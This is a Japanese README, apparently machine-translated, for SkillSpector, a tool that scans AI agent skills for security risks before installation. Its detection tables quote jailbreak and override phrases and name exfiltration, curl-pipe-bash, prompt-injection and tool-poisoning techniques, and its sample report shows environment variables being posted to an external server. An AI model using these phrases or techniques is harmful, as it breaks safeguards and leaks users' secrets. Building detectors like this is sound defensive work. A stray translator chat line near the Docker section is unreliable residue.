
SkillSpector v2.10.0
AIエージェントスキル向けセキュリティスキャナ。インストールする前に、Claude Code、Codex、MCPスキルに含まれる脆弱性、悪意のあるパターン、セキュリティリスク、プロンプトインジェクション、データ窃取、サプライチェーンリスクを検出します。
SkillSpector
AIエージェントスキル向けのセキュリティスキャナー。 エージェントスキルをインストールする前に、脆弱性、悪意のあるパターン、セキュリティリスクを検出します。
概要
AIエージェントスキル(Claude Code、Codex CLI、Gemini CLI などで使用されるもの)は、暗黙の信頼と最小限の審査のもとで実行されます。調査によると、スキルの26.1%に脆弱性が含まれており、5.2%が悪意のある意図を示している可能性があります。
SkillSpector は、「このスキルはインストールしても安全か?」 という問いに答える手助けをします。
SkillSpector は NVIDIA Verified Skills パイプラインの一部であり、公開前にエージェントスキルをスキャン、評価、署名します。合格したスキルは NVIDIA skills カタログに公開されます。
ドキュメント
- インストール前にエージェントスキルをスキャンする — ホストされたガイド: いつスキャンするか、レポートの読み方、インストールをゲートする方法。
- 開発ガイド — アーキテクチャ、パッケージレイアウト、アナライザーパイプラインの拡張方法。
- 分析リソースの上限 — フェイルクローズドなバンドル、パーサー、ネストされたアーティファクト、台帳、検出結果の上限。
- Pi 拡張機能 — エージェントセッション内からスキルをスキャンするための Pi ツールとして SkillSpector をインストールします。
機能
- マルチフォーマット入力: Git リポジトリ、URL、zip ファイル、ディレクトリ、単一ファイルをスキャン
- 17カテゴリにわたる71の脆弱性パターン: プロンプトインジェクション、データ流出、権限昇格、サプライチェーン、過剰なエージェンシー、出力処理、システムプロンプト漏洩、メモリポイズニング、ツールの悪用、ローグエージェント、拒否回避、トリガー悪用、危険なコード(AST)、テイント追跡、YARA シグネチャ、MCP 最小権限、MCP ツールポイズニング
- 2段階分析: 高速な静的解析 + オプションの LLM セマンティック評価
- ライブ脆弱性検索: SC4 は OSV.dev にクエリしてリアルタイムの CVE データを取得し、自動オフラインフォールバックを備える
- 複数の出力形式: ターミナル、JSON、Markdown、SARIF レポート
- リスクスコアリング: 0〜100 のスコアと重大度ラベル、明確な推奨事項
- ベースライン / 誤検知の抑制: glob ルールまたはフィンガープリントベースラインで既知の検出結果を承認し、再スキャンでは新規の問題のみを表面化(ドキュメント)
クイックスタート
インストール
オープンソースソフトウェアに関する通知: 本プロジェクトは、追加のサードパーティ製オープンソースソフトウェアプロジェクトをダウンロードおよびインストールします。使用前に、これらのオープンソースプロジェクトのライセンス条項を確認してください。
まず仮想環境を作成してアクティベートしてください(すべての make ターゲットは venv がアクティブであることを前提としています)。uv または pip を使用してください。Makefile は uv が利用可能な場合は uv を、そうでなければ pip を使用します。
uv によるクイックインストール(CLI のみ):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
`skillspector mcp` を実行する予定がある場合は、インストール時に MCP extra をインストールしてください:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
ソースから:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker(Python 不要)
付属の [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) からローカルでビルドすることで、Python をインストールせずに SkillSpector を実行できます。イメージは Docker 公式 Python `3.12-slim-bookworm` イメージをベースにしています。
**イメージをビルド:**```bash
make docker-build
# or: docker build -t skillspector .
ローカルディレクトリをスキャンするには、カレントディレクトリをコンテナの作業ディレクトリである /scan にマウントします:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**LLM分析によるスキャン** ローカルの `.env` ファイルで認証情報を渡します:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
I'm ready to translate chunk 13 of 47. Please provide the source content you'd like me to translate from English to Japanese.```bash
docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
シェル環境から直接認証情報を渡すこともできます:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
ホストファイルシステムにレポートを書き込むには、マウントされたディレクトリに書き込みます:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**繰り返し静的スキャン用のオプションのエイリアス**:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
基本的な使用方法```bash
Scan a local skill directory
skillspector scan ./my-skill/
Scan a single SKILL.md file
skillspector scan ./SKILL.md
Scan a Git repository
skillspector scan https://github.com/user/my-skill
Scan a zip file
skillspector scan ./my-skill.zip
#### サイズ制限
SkillSpector は、リモートおよびアーカイブ入力に対して 2 つの独立した上限を適用し、過大なダウンロードや zip 爆弾の影響を抑えます:
- **インジェストごとの上限**: `INGEST_MAX_BYTES` (100 MiB) — ストリーミング URL ダウンロード、zip アーカイブの非圧縮合計サイズ、および Git リポジトリのクローン後のディスク使用量に適用されます。
- **Zip メンバー上限**: `INGEST_MAX_ZIP_MEMBERS` (10,000) — 単一の zip 内のエントリ数を制限します。
ファイルごとの 1 MB 解析上限 (`MAX_FILE_BYTES`) は別個の下流の制限であることに注意してください:これは、すでにインジェストされたディレクトリから個々のアナライザーが読み取る量を制限します。上記のインジェスト上限は、そもそもどれだけのコンテンツがディスクに到達できるかを制限します。いずれかのインジェスト上限に違反すると、`IngestLimitExceededError` でフェイルクローズします。
### 出力フォーマット```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
バッチスキャン
contrib/batch_scan/ からスキルディレクトリ全体を並列でスキャンします:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
多言語検出(zh/ja/ko)とターミナル/JSON/Markdown出力をサポートします。
より高い並列度でLLMスキャンを行うには、
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example)に従って複数のAPIキーを設定してください。キーがアカウントレベルのレート制限を共有していなければ、プールによってスループットと耐障害性が向上します。
詳細は[contribガイド](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs)を参照してください。
> **LLMサポートに関する注記:** デフォルト設定は、最も安価な公開オプションとしてDeepSeekを対象としています。DeepSeek-Chatは
> [終了が予定されており](https://api-docs.deepseek.com/)、コントリビューターは
> ローカルモデルに対してテストするハードウェアを持っていません。バッチスキャナーは
> もともとOpenAI互換エンドポイントでテストされました — DeepSeekの
> 構造化出力サポートの欠如により、手動でのJSONパースパッチが必要でした。より汎用的な
> バックエンド(Ollama、vLLM、または別のプロバイダー)を提供できる方は、
> PRをぜひお待ちしています。
### 誤検知の抑制(ベースライン)
既知/許容済みの検出結果を抑制することで、リスクスコアが未トリアージの問題のみを反映し、再スキャンでは*新規*の検出結果のみが表面化します。完全なリファレンスについては
[抑制ガイド](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md)を参照してください。```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
ベースラインでは、ドリフト耐性のある glob ルール(ルール ID、ファイルパス、またはメッセージによる)も使用できます — .skillspector-baseline.example.yaml を参照してください。
正確なフィンガープリントベースラインは証拠に紐づきます。スキャン対象のソースまたは
SkillSpector のバージョンを変更しても、再度レビューされるまで検出結果はアクティブなままです。
選択したベースラインまたはベースライン出力がスキル
ディレクトリ内に保存されている場合、SkillSpector はその正確なファイルをコンテンツ分析から除外するため、その抑制テキストが検出結果を生成したり、再生成されたフィンガープリントに含まれたりすることはありません。
兄弟ファイルは通常のスキャン対象に残ります。
LLM 分析
最良の結果を得るには、セマンティック分析用の OpenAI 互換 LLM エンドポイントを設定してください。SKILLSPECTOR_PROVIDER でプロバイダーを選択します。ホスト型プロバイダーにはバンドルされたデフォルトモデルが同梱されていますが、CLI プロバイダーは SKILLSPECTOR_MODEL が設定されていない限り、ローカルランタイムのデフォルトモデルにフォールバックします。SkillSpector は
ローカルの OpenAI 互換サーバー(Ollama、vLLM、llama.cpp)やマネージド
推論ゲートウェイに対しても動作します。
プロバイダー (SKILLSPECTOR_PROVIDER) | 認証情報の環境変数 | エンドポイント | デフォルトモデル |
|---|---|---|---|
openai | OPENAI_API_KEY (+ 任意の OPENAI_BASE_URL) | api.openai.com (または任意の OpenAI 互換 URL) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | 任意の Vertex 形式の raw-predict プロキシ | claude-sonnet-4-6 |
bedrock | AWS_PROFILE (任意) + AWS_REGION — boto3 経由の SigV4 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (なし — ローカル CLI 認証を使用) | ローカルの claude バイナリ | ローカル Claude ランタイムへのフォールバック、または SKILLSPECTOR_MODEL |
codex_cli | (なし — ローカル CLI 認証を使用) | ローカルの codex バイナリ | ローカル Codex ランタイムへのフォールバック、または SKILLSPECTOR_MODEL |
Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
Anthropic
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
Optional: select an AWS named profile. When unset, the standard
boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2 # default if unset
Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
Override with any Bedrock model ID, cross-region inference-profile
ID, or your own application-inference-profile ARN:
export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/
NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
Local Claude CLI — no API key; uses your existing claude auth login session
Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
Local Codex CLI — no API key; uses your existing codex login session
Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm
### MCPサーバー
SkillSpectorを[Model Context Protocol](https://modelcontextprotocol.io)サーバーとして実行すると、MCP対応のあらゆるエージェント(Claude Code、Codex CLI、Gemini CLI)やリモートランタイムがスキャンをツールとして呼び出し、**その結果に基づいてスキル/MCPのインストールをゲート**できる — これにより、SkillSpectorは帯域外の監査ステップではなく、ランタイムのガードレールとなる。
`skillspector mcp` には `skillspector[mcp]` が必要である。```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
stdioトランスポートは、ローカルCLIエージェント向けの現在のFastMCPパスであり、issue #199で報告されたinitializeハングはそこでも依然として該当します。
サーバーは単一のツールを公開しています:
scan_skill(target, use_llm=true, output_format="json")— Git URL、ファイルURL、.zip、.mdファイル、またはディレクトリをスキャンし、構造化された判定を返します:risk_score(0-100)、severity、recommendation、safe_to_install、およびfindings。また、llm_used/scan_modeも報告するため、静的のみのスキャンによる低スコアが、クリーンな完全スキャンと誤認されることはありません。
Claude Codeに登録するには、次のようにします:```bash claude mcp add skillspector -- skillspector mcp
> **セキュリティ — HTTPトランスポートの信頼モデル**
>
> HTTPトランスポートは**認証なし**で提供されます。ポートに到達できる
> 呼び出し元は誰でも `scan_skill` を実行できます。stdioまたは `127.0.0.1` 上では、
> これはCLIと同じ信頼境界です。ルーティング可能なインターフェースにバインドする場合:
>
> - 外部に公開する前に、認証を行うリバースプロキシ(例: nginx + mTLS)の
> 背後にサーバーを配置してください。
> - ローカルパスと `file://` URLは、HTTP経由では**自動的に拒否されます**。
> これは認証されていない呼び出し元が任意のホストファイルを読み取ることを
> 防ぐためです。受け入れられるのはリモートGitと `.zip` URLのみです。
## 脆弱性パターン
SkillSpectorは17カテゴリにわたる**71の脆弱性パターン**を検出します:
### プロンプトインジェクション (6パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| P1 | 指示の上書き | HIGH | 安全制約を無視するよう命令する |
| P2 | 隠された指示 | HIGH | コメントや不可視テキスト内の悪意ある指示 |
| P3 | 外部送信コマンド | HIGH | コンテキストを外部に送信する指示 |
| P4 | 行動操作 | MEDIUM | エージェントの判断を変える巧妙な指示 |
| P5 | 有害コンテンツ | CRITICAL | 身体的危害を引き起こす可能性のある指示 |
| P9 | 空白パディング | MEDIUM | 可視領域の下または横に指示を隠す大量の空白パディング |
### 拒否回避 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| AR1 | 拒否の抑制 | HIGH | 決して拒否しない、常に従うよう指示する(例: "never refuse"、"always comply") |
| AR2 | 免責事項の抑制 | HIGH | 警告、免責事項、倫理的コメントを省略するよう指示する(例: "no disclaimers"、"do not moralize") |
| AR3 | 安全ポリシーの無効化 | HIGH | ガードレールを無効化するジェイルブレイクの枠組み(例: "you have no restrictions"、"ignore your guidelines"、"do anything now") |
### データ外部送信 (4パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| E1 | 外部送信 | MEDIUM | 外部URLへのデータ送信 |
| E2 | 環境変数の収集 | HIGH | シークレットを収集するための環境データの列挙、コピー、検索 |
| E3 | ファイルシステムの列挙 | MEDIUM | 機密ファイルを求めてディレクトリをスキャン |
| E4 | コンテキスト漏洩 | HIGH | 会話コンテキストの外部送信 |
### 権限昇格 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| PE1 | 過剰な権限 | LOW | 記載された機能を超えるアクセスを要求 |
| PE2 | Sudo/Root実行 | MEDIUM | 昇格したシステム権限の呼び出し |
| PE3 | 認証情報へのアクセス | HIGH | SSHキー、トークン、パスワードの読み取り |
### サプライチェーン (9+パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| SC1 | バージョン未固定の依存関係 | LOW | パッケージにバージョン制約がない |
| SC2 | 外部スクリプトの取得 | HIGH | curl \| bash およびリモートコード実行 |
| SC3 | 難読化されたコード | HIGH | Base64/hexエンコードされた実行 |
| SC4 | 既知の脆弱な依存関係 | HIGH | 既知のCVEを持つ依存関係(OSV.devによるライブ検索) |
| SC5 | 放棄された依存関係 | MEDIUM | セキュリティ更新のないメンテナンスされていないパッケージ |
| SC6 | タイポスクワッティング | HIGH | 人気パッケージに類似したパッケージ名 |
| SC8 | 同梱されたPythonバイトコード | HIGH | `__pycache__` / `.pyc` の存在(検出のスキップ、悪意あるバイトコードのバイパス) |
| SC9 | 隠された実行可能アーティファクト | HIGH | ドキュメントコンテナ内にネストされた、または隠された/偽装された実行可能ファイル |
### 過剰なエージェンシー (5パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| EA1 | 無制限のツールアクセス | HIGH | 制約のない自由なツールアクセス |
| EA2 | 自律的な意思決定 | HIGH | 人間の介在なしでの影響の大きい意思決定 |
| EA3 | スコープクリープ | MEDIUM | 記載された目的を超える機能 |
| EA4 | 無制限のリソースアクセス | MEDIUM | リソース消費に対するレート制限やクォータがない |
| EA5 | 外部モデルまたはプロバイダの選択 | MEDIUM/HIGH | 請求アカウントを切り替え可能なモデル/プロバイダの固定やコーディングCLIのシェルアウト |
### 出力処理 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| OH1 | 未検証の出力インジェクション | HIGH | サニタイズなしで使用されるモデル出力 |
| OH2 | クロスコンテキスト出力 | MEDIUM | 検証なしで信頼境界を越えて流れる出力 |
| OH3 | 無制限の出力 | MEDIUM | 出力サイズや生成レートに制限がない |
### システムプロンプトの漏洩 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| P6 | 直接的な漏洩 | HIGH | システムプロンプトや内部ルールを露出させる指示 |
| P7 | 間接的な抽出 | MEDIUM | 言い換え、翻訳、サイドチャネルによる抽出 |
| P8 | ツールベースの外部送信 | HIGH | ファイル書き込みやネットワークリクエストによるシステムプロンプトの外部送信 |
### メモリポイズニング (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| MP1 | 永続的なコンテキストインジェクション | HIGH | 相互作用を越えて持続するよう設計されたコンテンツ |
| MP2 | コンテキストウィンドウの詰め込み | MEDIUM | 安全制約を押しのけるフィラーコンテンツ |
| MP3 | メモリ操作 | HIGH | エージェントのメモリや保存状態の改ざん |
### ツールの悪用 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| TM1 | ツールパラメータの悪用 | HIGH | 意図しない動作を引き起こす細工されたパラメータ(shell=True、--force) |
| TM2 | チェーンの悪用 | HIGH | 個々の安全チェックをバイパスするツールチェーン |
| TM3 | 安全でないデフォルト | MEDIUM | 過度に寛容なデフォルト(TLS無効、認証なし) |
### ローグエージェント (2パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| RA1 | 自己改変 | CRITICAL | 実行時に自身のコードや設定を変更 |
| RA2 | セッションの永続化 | HIGH | cronジョブやスタートアップスクリプトによる不正な永続化 |
### トリガーの悪用 (3パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| TR1 | 過度に広範なトリガー | MEDIUM | 一般的な単語にマッチするトリガーパターン |
| TR2 | シャドウコマンドトリガー | HIGH | 組み込みコマンドや他のスキルをシャドウするトリガー |
| TR3 | キーワードベイティングトリガー | MEDIUM | 発動を最大化するよう設計された汎用的なトリガー |
### 行動AST (9パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| AST1 | exec() 呼び出し | CRITICAL | 任意のコード実行を可能にする直接的なexec() |
| AST2 | eval() 呼び出し | HIGH | 任意の式を評価する直接的なeval() |
| AST3 | 動的インポート | HIGH | 実行時に任意のモジュールをロードする \_\_import\_\_() |
| AST4 | subprocess 呼び出し | HIGH | subprocessによる外部コマンド実行 |
| AST5 | os.system / exec系 | HIGH | osモジュールによるシェルコマンド |
| AST6 | compile() 呼び出し | MEDIUM | 文字列からのコードオブジェクト作成 |
| AST7 | 動的 getattr() | MEDIUM | 非リテラル名による任意の属性アクセス |
| AST8 | 危険な実行チェーン | CRITICAL | 動的ソース(ネットワーク、エンコードされたデータ)と組み合わされたexec/eval |
| AST9 | 反射的 getattr() シンク | HIGH | AST1/AST5を回避する `getattr(os,'system')` / `getattr(builtins,'exec')` による反射的exec |
### テイント追跡 (5パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| TT1 | 直接テイントフロー | HIGH | サニタイズなしでソースからシンクへ直接流れるデータ |
| TT2 | 変数媒介テイントフロー | MEDIUM | 中間変数を経由してソースからシンクへ流れるデータ |
| TT3 | 認証情報外部送信チェーン | CRITICAL | 認証情報(環境変数、シークレット)がネットワーク出力シンクへ流れる |
| TT4 | ファイル読み取りからネットワーク外部送信 | HIGH | ファイル内容がネットワーク出力シンクへ流れる |
| TT5 | 外部入力からコード実行 | CRITICAL | ネットワークまたはユーザー入力がexec/eval/subprocessシンクへ流れる |
### YARAシグネチャ (4パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| YR1 | マルウェア一致 | CRITICAL | 既知のマルウェアシグネチャに対するYARAルール一致 |
| YR2 | ウェブシェル一致 | CRITICAL | ウェブシェルパターンに対するYARAルール一致 |
| YR3 | クリプトマイナー一致 | HIGH | 暗号通貨マイニング指標に対するYARAルール一致 |
| YR4 | ハックツール / エクスプロイト一致 | HIGH | ハックツールやエクスプロイトコードに対するYARAルール一致 |
### MCP最小権限 (4パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| LP1 | 過少申告された機能 | HIGH | コードが宣言された権限に記載されていない機能を使用 |
| LP2 | ワイルドカード権限 | MEDIUM | 権限リストにワイルドカード(\*、all、full、any)が含まれる |
| LP3 | 権限宣言の欠落 | MEDIUM | permissionsフィールドがないがコードに検出可能な機能がある |
| LP4 | 過剰申告された権限 | LOW | 権限が宣言されているが対応するコード機能が見つからない |
### MCPツールポイズニング (4パターン)
| ID | パターン | 重大度 | 説明 |
|----|---------|----------|-------------|
| TP1 | 隠された指示 | HIGH | メタデータ内の隠された指示(HTMLコメント、ゼロ幅文字、base64、data URI) |
| TP2 | Unicodeによる欺瞞 | HIGH | ツールメタデータ内の同形異義文字、RTL上書き、混在スクリプト識別子 |
| TP3 | パラメータ説明インジェクション | MEDIUM | パラメータ定義内のインジェクションパターン(上書き、システムトークン、悪意あるデフォルト) |
| TP4 | 説明と動作の不一致 | MEDIUM | 宣言されたツール説明が実際のコード動作と一致しない(LLM駆動) |
検出されたすべてのパターンは上記の表に記載されています。
## リスクスコアリング
### スコア計算
- **CRITICALの問題**: +50点
- **HIGHの問題**: +25点
- **MEDIUMの問題**: +10点
- **LOWの問題**: +5点
- **実行可能スクリプト**: 1.3倍の乗数
### 重大度レベル
| スコア | 重大度 | 推奨 |
|-------|----------|----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |
## 出力例
### ターミナル出力```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
設定
環境変数
| 変数 | 説明 | 必須 |
|---|---|---|
SKILLSPECTOR_PROVIDER | 有効な LLM プロバイダー: openai、anthropic、anthropic_proxy、bedrock、nv_build、claude_cli、codex_cli、または gemini_cli。ホスト型プロバイダーは同梱の model_registry.yaml のデフォルトを使用します。claude_cli と codex_cli は、SKILLSPECTOR_MODEL が設定されていない限り、ローカル CLI ランタイムのデフォルトモデルにフォールバックします。デフォルトは nv_build。 | 任意 |
NVIDIA_INFERENCE_KEY | nv_build プロバイダー (build.nvidia.com) の認証情報。 | SKILLSPECTOR_PROVIDER=nv_build の場合、LLM 分析に必須 |
OPENAI_API_KEY | OpenAI プロバイダー (SKILLSPECTOR_PROVIDER=openai) の認証情報。また、有効なプロバイダーが認証情報を返さない場合の認証情報ウォーターフォールにおける第 2 層フォールバックとしても機能します。 | SKILLSPECTOR_PROVIDER=openai の場合、LLM 分析に必須 |
OPENAI_BASE_URL | OpenAI エンドポイントを上書きします (例: Ollama を指定)。 | 任意 |
SKILLSPECTOR_REASONING_EFFORT | プロバイダーおよびモデルに依存する任意の reasoning-effort 設定。空でない値はトリムされ、そのまま渡されます。未設定または空欄の場合はプロバイダーのデフォルト動作を維持します。 | 任意 |
SKILLSPECTOR_OUTPUT_LANGUAGE | メッセージ、説明、修復方法など、人間が読む LLM 検出テキスト用の短い単一行の言語ラベル (英字、数字、スペース、_、または -、最大 64 文字)。ルール ID、重大度の値、パス、コード、その他の機械可読な値は変更されません。未設定、空欄、または無効な値の場合はデフォルトの出力言語を維持します。 | 任意 |
SKILLSPECTOR_TEMPERATURE | ホスト型プロバイダー用の 0 から 1 までの任意のサンプリング温度。未設定または空欄の場合はプロバイダーのデフォルトを維持します。値を低くすると実行ごとのばらつきを減らせますが、同一の出力を保証するものではありません。 | 任意 |
SKILLSPECTOR_SEED | OpenAI 互換および Azure OpenAI プロバイダー用の任意の整数サンプリングシード。その他のホスト型プロバイダーおよび CLI プロバイダーには渡されません。プロバイダーのサポートはモデルに依存します。 | 任意 |
ANTHROPIC_API_KEY | Anthropic プロバイダー (SKILLSPECTOR_PROVIDER=anthropic) の認証情報。 | SKILLSPECTOR_PROVIDER=anthropic の場合、LLM 分析に必須 |
ANTHROPIC_BASE_URL | ネイティブの Anthropic エンドポイントを上書きします (デフォルト: https://api.anthropic.com)。 | 任意 |
ANTHROPIC_PROXY_ENDPOINT_URL | Anthropic プロキシプロバイダー (Vertex 形式の raw-predict) 用の完全なエンドポイント URL。 | SKILLSPECTOR_PROVIDER=anthropic_proxy の場合に必須 |
ANTHROPIC_PROXY_API_KEY | Anthropic プロキシプロバイダー用のベアラートークン。 | SKILLSPECTOR_PROVIDER=anthropic_proxy の場合に必須 |
ANTHROPIC_PROXY_API_VERSION | リクエストボディで送信される anthropic_version の値 (デフォルト: vertex-2023-10-16)。 | 任意 |
AWS_PROFILE | Bedrock プロバイダー用の名前付き AWS プロファイル — boto3 を介して SigV4 で認証します。未設定の場合、標準の boto3 認証情報チェーン (環境変数、インスタンスメタデータ、SSO など) が解決されます。 | 任意 (SKILLSPECTOR_PROVIDER=bedrock の場合に使用) |
AWS_REGION | Bedrock Runtime エンドポイント用の AWS リージョン。デフォルトは us-west-2。 | 任意 (SKILLSPECTOR_PROVIDER=bedrock の場合に使用) |
SKILLSPECTOR_MODEL | 有効なプロバイダーモデルを上書きします。ホスト型プロバイダーの場合、LLM 分析テーブルの同梱デフォルトを置き換えます。claude_cli と codex_cli の場合、ローカル CLI ランタイムのフォールバックを使用する代わりに --model として転送されます。 | 任意 |
SKILLSPECTOR_MODEL_REGISTRY | 同梱のプロバイダー別 YAML レジストリ (src/skillspector/providers/<provider>/model_registry.yaml) をカスタムパスで上書きします。 | 任意 |
SKILLSPECTOR_LOG_LEVEL | ログレベル: DEBUG、INFO、WARNING、ERROR (デフォルト: WARNING)。 | 任意 |
CLI プロバイダー (
claude_cli、codex_cli): API キーは不要です。認証はエージェント CLI 自体のログインセッション (claude auth login/codex login) によって完全に管理されます。これらのプロバイダーが有効な場合、SkillSpector は API キーを読み取ったり転送したりすることはありません。サブプロセスは強化されたサンドボックスで実行されます: ツールは無効化され、MCP なし、読み取り専用サンドボックスモード (codex)、信頼できないスキルコンテンツは stdin 経由でのみ渡されます。
CLI オプション```bash
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## SkillSpector の統合
SkillSpector は、他のツール(CI パイプライン、インストールゲート、エディタ統合)から操作されることを想定して構築されています。その終了コードと JSON 出力は安定した契約です。
### 終了コード
`skillspector scan` は次のコードで終了します:
| コード | 意味 |
|------|---------|
| `0` | スキャン完了、`risk_score` ≤ 50(推奨 `SAFE` または `CAUTION`) |
| `1` | スキャン完了、`risk_score` > 50(推奨 `DO_NOT_INSTALL`) |
| `2` | エラー(不正な入力、読み取り不能なソース、内部障害) |
> 終了コードは `SAFE` と `CAUTION` を `0` にまとめます。これらを区別して処理する場合(例:`CAUTION` では*警告*するが `DO_NOT_INSTALL` では*ブロック*する)、終了コードに頼るのではなく JSON 出力の `recommendation` フィールドを読み取ってください。
### 機械可読な出力
`--format json` は JSON レポートを生成します。`--output`/`-o` を指定しない場合、stdout に書き出されます:```bash
skillspector scan ./my-skill/ --format json
